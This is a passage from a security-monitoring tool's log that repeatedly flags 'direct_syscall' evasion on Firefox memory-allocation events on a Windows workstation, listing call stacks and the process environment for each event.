C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff8028ee400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff8028f2addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff9da941f27 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\telclient.dll!GetHandleVerifier|0x7ff9da92d666 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\telclient.dll!GetHandleVerifier|0x7ffa18ee799b C:\Windows\System32\ntdll.dll!RtlTimeToSecondsSince1970|0x7ffa18f5f96e C:\Windows\System32\ntdll.dll!RtlEncodeRemotePointer|0x7ffa18e0bcae C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7ffa18e0bf5e C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7ffa18e8c9f1 C:\Windows\System32\ntdll.dll!LdrShutdownThread|0x7ffa18e8c5c6 C:\Windows\System32\ntdll.dll!RtlExitUserThread|0x7ffa18e76b93 C:\Windows\System32\ntdll.dll!RtlSetThreadSubProcessTag|0x7ffa16fbe8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffa18e8c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-04T18:35:49+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 12427900 + Pid: 17160 + Tid: 11892 + Type: VirtualAlloc + CPU: 6 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-04 18:35:47.7871032 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ b8c853b000, exe➜ C:\Program Files\Mozilla Firefox\firefox.exe, name➜ firefox.exe, page_type➜ PRIVATE, pid➜ 17160, protection➜ READWRITE, protection_mask➜ RW, region_size➜ 12288 + Metadata: evasions: [direct_syscall] + + Pid: 17160 + Ppid: 14592 + Name: firefox.exe + Cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" + Exe: C:\Program Files\Mozilla Firefox\firefox.exe + Cwd: C:\Program Files\Mozilla Firefox\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Mozilla Firefox\firefox.exe"] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_4584_1262719628:1 EFC_4584_1592913036:1 EFC_4584_2283032206:1 EFC_4584_2775293581:1 EFC_4584_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT MOZ_CRASHREPORTER_DATA_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Crash Reports MOZ_CRASHREPORTER_EVENTS_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Profiles\5z7ambtf.default-release\crashes\events MOZ_CRASHREPORTER_PING_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Pending Pings NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Mozilla Firefox;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff8028ef42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff8028ee74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff8028ef48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff8028f62a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff8028f463d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff8028f4629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff8028f2b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff8028f2a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff8028f624004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff8028ee9315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff8028ee400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff8028f2addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ffa0422113f C:\Windows\System32\DNIeRemotePKCS11.dll!?|0x7ffa0422d39f C:\Windows\System32\DNIeRemotePKCS11.dll!C_GetMechanismInfo|0x7ffa18f5f96e C:\Windows\System32\ntdll.dll!RtlEncodeRemotePointer|0x7ffa18e0bcae C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7ffa18e0b9b7 C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7ffa18ebb98b C:\Windows\System32\ntdll.dll!EtwEventWriteNoRegistration|0x7ffa18ebb83a C:\Windows\System32\ntdll.dll!EtwEventWriteNoRegistration|0x7ffa18ee910e C:\Windows\System32\ntdll.dll!LdrInitializeThunk] source=evasion/scanner.go:68 +time=2025-12-04T18:35:49+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 12427940 + Pid: 17160 + Tid: 11892 + Type: VirtualAlloc + CPU: 6 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-04 18:35:47.7871739 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ b8c853a000, exe➜ C:\Program Files\Mozilla Firefox\firefox.exe, name➜ firefox.exe, page_type➜ PRIVATE, pid➜ 17160, protection➜ READWRITE, protection_mask➜ RW, region_size➜ 12288 + Metadata: evasions: [direct_syscall] + + Pid: 17160 + Ppid: 14592 + Name: firefox.exe + Cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" + Exe: C:\Program Files\Mozilla Firefox\firefox.exe + Cwd: C:\Program Files\Mozilla Firefox\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Mozilla Firefox\firefox.exe"] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_4584_1262719628:1 EFC_4584_1592913036:1 EFC_4584_2283032206:1 EFC_4584_2775293581:1 EFC_4584_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT MOZ_CRASHREPORTER_DATA_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Crash Reports MOZ_CRASHREPORTER_EVENTS_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Profiles\5z7ambtf.default-release\crashes\events MOZ_CRASHREPORTER_PING_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Pending Pings NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Mozilla Firefox;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff8028ef42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff8028ee74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff8028ef48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff8028f62a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff8028f463d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff8028f4629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff8028f2b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff8028f2a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff8028f624004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff8028ee9315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff8028ee400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff8028f2addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff7a0bd7fc7 C:\Program Files\Mozilla Firefox\firefox.exe!TargetCreateThread|0x7ff7a0ba7d8d C:\Program Files\Mozilla Firefox\firefox.exe!TargetNtQueryAttributesFile|0x7ffa18ee799b C:\Windows\System32\ntdll.dll!RtlTimeToSecondsSince1970|0x7ffa18f5f96e C:\Windows\System32\ntdll.dll!RtlEncodeRemotePointer|0x7ffa18e0bcae C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7ffa18e0bf5e C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7ffa18e0bad2 C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7ffa18ebb98b C:\Windows\System32\ntdll.dll!EtwEventWriteNoRegistration|0x7ffa18ebb83a C:\Windows\System32\ntdll.dll!EtwEventWriteNoRegistration|0x7ffa18ee910e C:\Windows\System32\ntdll.dll!LdrInitializeThunk] source=evasion/scanner.go:68 +time=2025-12-04T18:35:49+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 12427972 + Pid: 17160 + Tid: 4312 + Type: VirtualAlloc + CPU: 1 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-04 18:35:47.7906991 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ b8c85bb000, exe➜ C:\Program Files\Mozilla Firefox\firefox.exe, name➜ firefox.exe, page_type➜ PRIVATE, pid➜ 17160, protection➜ READWRITE, protection_mask➜ RW, region_size➜ 12288 + Metadata: evasions: [direct_syscall] + + Pid: 17160 + Ppid: 14592 + Name: firefox.exe + Cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" + Exe: C:\Program Files\Mozilla Firefox\firefox.exe + Cwd: C:\Program Files\Mozilla Firefox\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Mozilla Firefox\firefox.exe"] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_4584_1262719628:1 EFC_4584_1592913036:1 EFC_4584_2283032206:1 EFC_4584_2775293581:1 EFC_4584_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT MOZ_CRASHREPORTER_DATA_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Crash Reports MOZ_CRASHREPORTER_EVENTS_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Profiles\5z7ambtf.default-release\crashes\events MOZ_CRASHREPORTER_PING_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Pending Pings NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Mozilla Firefox;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff8028ef42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff8028ee74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff8028ef48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff8028f62a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff8028f463d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff8028f4629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff8028f2b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff8028f2a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff8028f624004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff8028ee9315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff8028ee400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff8028f2addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ffa0422113f C:\Windows\System32\DNIeRemotePKCS11.dll!?|0x7ffa0422d39f C:\Windows\System32\DNIeRemotePKCS11.dll!C_GetMechanismInfo|0x7ffa18f5f96e C:\Windows\System32\ntdll.dll!RtlEncodeRemotePointer|0x7ffa18e0bcae C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7ffa18e0b9b7 C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7ffa18ebb98b C:\Windows\System32\ntdll.dll!EtwEventWriteNoRegistration|0x7ffa18ebb83a C:\Windows\System32\ntdll.dll!EtwEventWriteNoRegistration|0x7ffa18ee910e C:\Windows\System32\ntdll.dll!LdrInitializeThunk] source=evasion/scanner.go:68 +time=2025-12-04T18:35:49+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 12427991 + Pid: 17160 + Tid: 4312 + Type: VirtualAlloc + CPU: 1 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-04 18:35:47.7907496 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ b8c85ba000, exe➜ C:\Program Files\Mozilla Firefox\firefox.exe, name➜ firefox.exe, page_type➜ PRIVATE, pid➜ 17160, protection➜ READWRITE, protection_mask➜ RW, region_size➜ 12288 + Metadata: evasions: [direct_syscall] + + Pid: 17160 + Ppid: 14592 + Name: firefox.exe + Cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" + Exe: C:\Program Files\Mozilla Firefox\firefox.exe + Cwd: C:\Program Files\Mozilla Firefox\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Mozilla Firefox\firefox.exe"] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_4584_1262719628:1 EFC_4584_1592913036:1 EFC_4584_2283032206:1 EFC_4584_2775293581:1 EFC_4584_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT MOZ_CRASHREPORTER_DATA_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Crash Reports MOZ_CRASHREPORTER_EVENTS_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Profiles\5z7ambtf.default-release\crashes\events MOZ_CRASHREPORTER_PING_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Pending Pings NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Mozilla Firefox;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff8028ef42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff8028ee74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff8028ef48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff8028f62a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff8028f463d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff8028f4629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff8028f2b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff8028f2a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff8028f624004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff8028ee9315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff8028ee400d4 